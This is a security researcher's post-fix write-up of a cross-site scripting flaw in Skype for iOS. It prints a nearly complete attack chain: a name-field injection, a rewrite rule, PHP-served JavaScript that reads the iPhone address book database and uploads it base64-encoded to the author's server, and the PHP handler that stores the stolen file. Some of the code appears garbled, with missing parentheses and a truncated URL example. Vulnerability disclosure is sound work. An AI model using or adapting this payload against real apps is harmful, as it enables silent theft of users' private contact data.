Skype XSS Explained

Skype has fixed the security vulnerability I reported in Skype for iOS 3.01 with their 3.5.84 and subsequent 3.5.117 update. Now it's time to tell how it worked. There are several parts to the attack.

The Full Name field injection

This goes into a Skype users "Full Name" field, and will run in Skype for iOS when the message is read. The Full Name field is limited on space, and script tags don't work so I couldn't use <script src=...>. Instead, I used a redirect to pull in the JavaScript payload to run. The regex command "/j.*/" will return everything after the first j in the URL of m.location, which is going to be the URL of the iframe after all redirects. I saved more space by removing all quotes, and changing http:// to http: which is allowed in the version of the WebKit browser built into iOS. When it runs, m.location will look like this:'$PAYLOAD'));open();

The URI Passthrugh with an Apache .htaccess file

RewriteRule ^r$ r.php

This allows the file name to be r instead of r.php, saving 4 characters
The PHP Redirect / Payload

<?php $XSS='x=new/**/XMLHttpRequest;"get","file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb");\ x.overrideMimeType("text/plain; charset=x-user-defined");x.send();\ x.onreadystatechange=function(){if(x.readyState==4){a=x.responseText || ""; ff=[];mx=a.length;scc=String.fromCharCode;\ for(var z=0;z<mx;z++){ff[z]=scc(a.charCodeAt(z)&255);}b=ff.join("");b=btoa(b);\ xp=new/**/XMLHttpRequest,"post","",!0);\ xp.setRequestHeader("Content-Type","multipart/form-data;boundary=xxx,");\ a="--xxx\r\nContent-Disposition:form-data;name=\"media\";filename=\"ios.sqlitedb\"\r\nContent-Type:application/octet-stream\r\n\r\n"+b+"\r\n--xxx--";\ xp.send(a);\ }};'; $URL="'$XSS'));open();"; header("Location: $URL"); // Redirect Browser exit; ?>

By wrapping the JavaScript code with the unescape function, we remove the encoding that Apache automatically does on the URL during the redirect. The code then uses the XMLHttpRequest API to grab the iPhone AddressBook file. A second XMLHttpRequest is made to send the file back to a file on my server built to retrieve the file.
The File Upload Handler

<?php $default_path = "/srv/www/public_html/"; $filename=$_FILES['media']['name']; $tmpfilename=$_FILES['media']['tmp_name']; $target_path = $default_path .'/'.time()."-".$filename;
if (is_uploaded_file($tmpfilename)){ if ($filePointer = fopen($tmpfilename, "rb")){ $fileData = fread($filePointer, filesize($tmpfilename)); $decodedData = (base64_decode($fileData)); fclose($filePointer); } }
if ($filePointer = fopen($target_path, "wb+")){ // Process the contents of the uploaded file here... fwrite($filePointer,$decodedData); fclose($filePointer); } ?>

Since the file is base64 encoded on the way up, we use the base64_decode function on the way down.